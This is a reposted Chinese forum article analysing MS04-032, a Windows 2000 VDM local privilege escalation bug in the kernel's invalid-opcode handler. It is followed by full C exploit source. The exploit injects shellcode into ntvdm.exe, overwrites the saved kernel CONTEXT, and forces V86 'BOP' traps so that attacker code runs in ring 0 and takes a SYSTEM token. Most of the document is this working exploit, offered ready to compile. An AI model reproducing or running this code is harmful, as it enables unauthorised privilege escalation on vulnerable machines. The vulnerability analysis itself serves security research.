发新话题
打印

[转载]MS04-032漏洞分析

[转载]MS04-032漏洞分析

信息来源:Whitecell技术论坛(www.whitecell.com)
文章作者:SoBeIT


      这个漏洞发生于内核处理VDM(Virtual DOS Maching)的过程中。VDM是微软为了兼容老式的16位MS-DOS程序而存在于Windows中的一个子系统,运行于V86模式下,模拟16位实模式环境。它由三个主要部分组成:

1、提供DOS环境模拟的代码,包括在系统目录下的ntdos*.sys和ntio*.sys等文件,并向虚拟机监控进程提交请求;

2、一个是在用户态的虚拟机监控进程ntvdm.exe,负责处理虚拟机里的绝大多数事件;

3、一个是内核(ntoskrnl.exe)中的部分,包括由控制进程调用的系统调用接口NtVdmControl及下层具体实现功能代码,负责DOS程序的初始化、执行、查询和延迟中断、查询文件等。和两个异常处理程序:第0x6号无效操作码异常处理程序和第0xd号一般保护错误异常处理程序,前者负责响应DOS环境模拟代码的请求并分派到监控进程中,后者处理DOS程序中的直接IN/OUT的IO,并分派到控制进程中。但有少数例外,就是DOS模拟代码提交的FastRead和FastWrite请求并不分派到控制进程中,而是由内核直接完成。

      NtVdmControl函数的调用参数为VdmStartExecution,也就是0时,就会向V86模式切换。通过调用VdmpStartExecution函数把要执行的V86代码的环境改写内核堆栈中的TrapFrame结构,这样在系统调用KiSystemService返回时并不会返回到NtVdmControl函数里,而是切换进了V86模式。

      DOS环境模拟代码通过一串无效的操作码\xc4\xc4\xXX\xXX,微软称为“BOP”,来传递请求到VDM进程里。传递过程由内核的第6号中断,也就是处理无效操作码的异常处理程序KiTrap06来完成。通过判断引发异常的操作码为“BOP”,内核会分派到虚拟机监控进程ntvdm.exe中。

      漏洞发生于异常处理程序KiTrap06分派运行于V86下的代码产生的“BOP”到监控进程ntvdm.exe的过程中。内核处理虚拟机控制的系统调用NtVdmControl的过程中,会把当前系统环境保存在ntvdm.exe的地址空间中保存线程信息的VDM_TIB结构中的CONTEXT结构里。该结构在Windows2000下位于EPROCESS(ntvdm.exe)->VdmObjects->VmTib->MonitorContext,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xa04),在其它Windows NT系列里位于fs:[0xf18]->MonitorContext,也就是(*(fs:[0xf18])+0xa04)。当“BOP”发生后,就会取出CONTEXT结构里保存的环境,返回到NtVdmControl函数,最后回到ntvdm.exe的用户态部分进行处理。但是因为任何进程都可以读写ntvdm.exe进程地址空间中保存的CONTEXT结构中的数据,而KiTrap06并未验证环境结构的有效性,导致可以修改保存在CONTEXT结构里的返回地址和代码段选择子,进而在内核态执行用户态提供的代码来进行本地提升权限。

      但是该漏洞的触发有点类似竞争条件,也就是NtVdmControl系统调用会修改保存的系统环境为正常值,而KiTrap06会取出环境并返回。所以必须在NtVdmControl之后KiTrap06之前修改系统环境。而NtVdmControl与KiTrap06的发生并不对等,所以这也就是利用难点。

      为了利用该漏洞,一种方法是暴力法,就是通过建立多个线程,每个线程都以最小间隔时间向该CONTEXT结构不断进行写入,并且降低ntvdm.exe的优先级以加大执行间隔,来保证改写CONTEXT结构在KiTrap06之前。但是因为前面说过的NtVdmControl改写该CONTEXT结构与触发“BOP”的KiTrap06不是对等的,正常时常常是N:1的关系,前者发生了N次后者才发生一次。这样系统的负载对exploit是否成功有很大的影响,也就是成功率并不算太高。

      但是,如果当KiTrap06的发生频率非常高时,exploit的成功率就能接近100%,如何提高KiTrap06的发生率,就是人为让V86虚拟机产生“BOP”。“BOP”在V86模式下才能触发,而进入V86模式就必须修改EFLAGS的VM位,该位只能在RING0下设置。但我们可以一个曲线的方法,ntvdm.exe的用户态地址空间中的VDM_TIB结构中还有另一个CONTEXT结构可以修改,就是EPROCESS->VdmObjects->VdmTib->Context,也就是*(*(*(EPROCESS+0x1dc)+0x98)+0xcd0),该结构中保存的是运行于V86模式下的代码的环境,修改它所保存的环境为一个“BOP”的地址。因为实模式下的寻址空间是1M,所以前面说的模拟DOS环境的代码都映射在了整个进程地址空间的开头。从0开始找,肯定能找到大量的“BOP”,只要不是FastRead和FastWrite的“BOP”,都满足条件。然后修改ntvdm.exe主线程的EIP,让它反复NtVmdContrl(StartExecution),就会不停切换进V86模式产生“BOP”,并触发KiTrap06,这时候保存V86模式环境的CONTEXT结构根本不会被改动,因为V86虚拟机除了反复在同一个地址“BOP”外啥都不能干。所以这时启动的暴力修改线程只要反复修改CONTEXT结构,基本都会成功。

      但是,除了暴力法外其实有个更加简单的方法,就是让监控进程ntvdm.exe的主线程直接执行ZwContinue函数切换进V86模式,并设置ZwContinue函数的参数PCONTEXT结构指针里的CS:EIP为一个“BOP”的地址即可。通过暂停该进程修改它的CONTEXT结构,这样主线程恢复执行后就会切换进V86模式执行“BOP”触发异常执行到KiTrap06,NtVdmControl函数没有被调用的机会,MonitorContext结构内容也就不会被修改,可以直接执行到提升权限的代码里。具体的可以参见上一段暴力法的实现。

exploit
复制内容到剪贴板
代码:
/*
      MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit
                Created by SoBeIt

      Main file of exploit

      Tested on:

      Windows 2000 PRO SP4 Chinese
      Windows 2000 PRO SP4 English

      Usage:ms04-032.exe
*/

#include <stdio.h>
#include <windows.h>

unsigned char kfunctions[64][64] =
{
                                      //ntoskrnl.exe
      {"ZwOpenProcess"},
      {"ZwTerminateProcess"},
      {""},
};

unsigned char shellcode[] =
           "\x90\xe9\xff\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f\x90\xcc"
           "\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7\x04\xbe"
           "\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75"
           "\xf7\x95\x8b\xf7\x6a\x02\x59\xe8\x84\x00\x00\x00\xe2\xf9\xbb\x24"
           "\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8\x5a\x00"
           "\x00\x00\x8b\xd0\x8b\x4e\x08\xe8\x50\x00\x00\x00\x8b\x88\xc8\x01"
           "\x00\x00\xe8\x45\x00\x00\x00\x8b\x8a\x2c\x01\x00\x00\x89\x88\x2c"
           "\x01\x00\x00\x83\xec\x40\x8b\xec\x33\xc0\x8b\xfc\x6a\x10\x59\xab"
           "\xe2\xfd\x8b\x46\x08\x89\x44\x24\x10\x8d\x5d\x10\x53\x8d\x5d\x20"
           "\x53\x68\xff\x0f\x1f\x00\x8d\x5d\x00\x53\xff\x16\x8b\x5d\x00\x6a"
           "\x00\x53\xff\x56\x04\x33\xc0\x50\x50\xff\x56\x04\x8b\x80\xa0\x00"
           "\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00\x00\x75\xed\xc3"
           "\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03"
           "\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74"
           "\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e"
           "\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03"
           "\xc5\xab\x5e\x59\xc3\xe8\xfc\xfe\xff\xff\x90\x90\x90\x90\x90\x90"

           "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

unsigned char IntoV86[] =
           "\x90\x6a\x00\x68\x90\x90\x90\x90\x8b\xd4\xb8\x1c\x00\x00\x00\xcd"
           "\x2e\x83\xc4\x08\xeb\xea";

VOID ErrorQuit(char *msg)
{
      printf("%s\n", msg);
      ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
      ULONG ret = 0;

      while(*ch)
      {
           ret = ((ret << 25) | (ret >> 7)) + *ch++;
      }

      return ret;
}

int main(int argc, char *argv[])
{
      HANDLE           hFile, hFileMap;
      ULONG           FileSize, ImageSize, i, j, k;
      PVOID           pBase, pHeader;
      PULONG           pImageBase, pShellcode, pTemp;
      char           *pBuffer, *pReadBuffer, *pWriteBuffer;
      STARTUPINFO si;
   PROCESS_INFORMATION pi;
      ULONG           buf[20];
      CONTEXT           Context;
      PCONTEXT      pV86Context;
      PUCHAR           ptr;

      printf("\n MS04-032 Windows VDM #UD Local Privilege Escalation Vulnerability Exploit \n\n");
      printf("\t Create by SoBeIt. \n\n");
      if(argc != 1)
      {
           printf(" Usage:%s \n\n", argv[0]);
           ExitProcess(0);
      }

   ZeroMemory(&si, sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory(&pi, sizeof(pi));

      pBuffer = malloc(64);
      pReadBuffer = malloc(64);
      pWriteBuffer = malloc(64);

      if((pBuffer == NULL) || (pReadBuffer == NULL) || (pWriteBuffer == NULL))
           ErrorQuit("malloc failed.\n");

      if(!GetSystemDirectory(pBuffer, 256))
           ErrorQuit("GetSystemDirectory failed.\n");

      strcat(pBuffer, "\\ntvdm.exe");
      hFile = CreateFile(pBuffer, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
      if(hFile == INVALID_HANDLE_VALUE)
           ErrorQuit("CreateFile failed.\n");

      if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
           ErrorQuit("GetFileSize failed.\n");

      if((hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, FileSize + sizeof(char), NULL)) == NULL)
           ErrorQuit("CreateFileMapping failed.\n");

      if((pBase = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0)) == NULL)
           ErrorQuit("MapViewOfFile failed.\n");

      pHeader = (char *)pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew;
      pImageBase = (PULONG)(((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.ImageBase);
      ImageSize = ((PIMAGE_NT_HEADERS)pHeader)->OptionalHeader.SizeOfImage;

      UnmapViewOfFile(pBase);
      CloseHandle(hFileMap);
      CloseHandle(hFile);

      if(!CreateProcess(NULL, "command.com", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
           ErrorQuit("CreateProcess failed.\n");

      Sleep(100);
      for(i = 0; i < ImageSize; i++)
      {
           if(!ReadProcessMemory(pi.hProcess, pImageBase + i, pReadBuffer, 12, NULL))           
                continue;

           pTemp = (PULONG)pReadBuffer;
           if(((*pTemp++) >> 28) != 0x7)
                continue;

           if(*pTemp++ != 0x1b)
                continue;

           if((*pTemp & 0x202) == 0x202)
                break;
      }

      printf("Monitor Context: %x\n", pImageBase + i);

      pShellcode = (PULONG)shellcode;
      for(k = 0; pShellcode[k++] != 0x90cccc90; )
                      ;

      for(j = 0; kfunctions[j][0] != &#39;\x0&#39;; j++)
           buf[j] = ComputeHash(kfunctions[j]);

      buf[j++] = GetCurrentProcessId();

      memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
      pTemp = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      if(pTemp == NULL)
           ErrorQuit("VirtualAllocEx failed.\n");

      if(!WriteProcessMemory(pi.hProcess, pTemp, pShellcode, 0x1000, NULL))
           ErrorQuit("WriteProcessMemory failed.\n");      

      *(PULONG)pWriteBuffer = (ULONG)pTemp;
      *(PULONG)(pWriteBuffer + 4) = 0x8;

      SuspendThread(pi.hThread);
      Context.ContextFlags = CONTEXT_FULL;
      if(!GetThreadContext(pi.hThread, &Context))
           ErrorQuit("GetThreadContext failed.\n");

      for(ptr = 0; ; ptr++)
      {
           if(!ReadProcessMemory(pi.hProcess, ptr, pReadBuffer+0x20, 4, NULL))
           {
                printf("ReadProcessMemory failed.\n");
                continue;
           }

           if(*(PUSHORT)(pReadBuffer+0x20) == 0xc4c4)
           {
                if((*(PUSHORT)(pBuffer+0x22) != 0x4350) || (*(PUSHORT)(pBuffer+0x22) != 0x4250))
                      break;
           }
      }

      if(!WriteProcessMemory(pi.hProcess, pImageBase + i, pWriteBuffer, 8, NULL))
           ErrorQuit("WriteProcessMemory failed.\n");

      pV86Context = (PCONTEXT)((char *)(pImageBase + i) + 0x214);

      printf("BOP Address: %x\n", ptr);

      pTemp = (PULONG)pReadBuffer;
      *pTemp++ = (ULONG)ptr & 0xfff;
      *pTemp++ = ((ULONG)ptr & 0xfffff000) >> 4;
      *pTemp++ = 0x20002;

      if(!WriteProcessMemory(pi.hProcess, &(pV86Context->Eip), pReadBuffer, 12, NULL))
           ErrorQuit("WriteProcessMemory failed.\n");

      pTemp = (PULONG)&IntoV86[4];
      *pTemp = (ULONG)pV86Context;

      pTemp = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
      if(pTemp == NULL)
           ErrorQuit("VirtualAllocEx failed.\n");

      if(!WriteProcessMemory(pi.hProcess, pTemp, IntoV86, 0x1000, NULL))
           ErrorQuit("WriteProcessMemory failed.\n");

      Context.Eip = (ULONG)pTemp;
      if(!SetThreadContext(pi.hThread, &Context))
           ErrorQuit("SetThreadContext failed.\n");

      ResumeThread(pi.hThread);
      for(;;)
           ;

      return 1;
}

TOP

发新话题